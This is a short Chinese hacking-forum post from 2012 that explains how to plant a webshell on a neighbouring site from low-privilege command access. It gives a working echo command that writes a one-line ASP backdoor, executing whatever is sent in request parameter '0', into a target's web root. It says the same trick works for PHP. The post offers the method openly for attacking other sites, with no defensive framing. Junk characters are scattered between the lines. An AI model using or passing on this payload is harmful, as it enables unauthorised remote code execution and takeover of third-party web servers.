中国网络渗透测试联盟
标题:
旁注cmd低权限下拿webshell
[打印本页]
作者:
admin
时间:
2012-9-23 14:40
标题:
旁注cmd低权限下拿webshell
在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。
. r `( `, h; Y1 q5 D6 S3 j
$ K+ |- b. L! _. m" k
命令格式
9 U2 C D$ z0 N2 P
- v+ T. _. C+ C: |& @6 v
Echo 语句 >目标站绝对目录
3 h: p3 ~5 J7 W4 u6 l- k2 k
( r$ I6 _1 Z* l+ ?7 B9 @. q' g3 c
例如：
4 L: _" ~$ e9 f& g) `% j4 k
/ G' D7 Q7 ^# a( m# ^* c2 `' W
echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp
5 v. d1 B$ H0 H& z% v( h9 V
) n- x7 {- x0 J. w
这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。
8 i0 W; N* [- a& n9 S
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2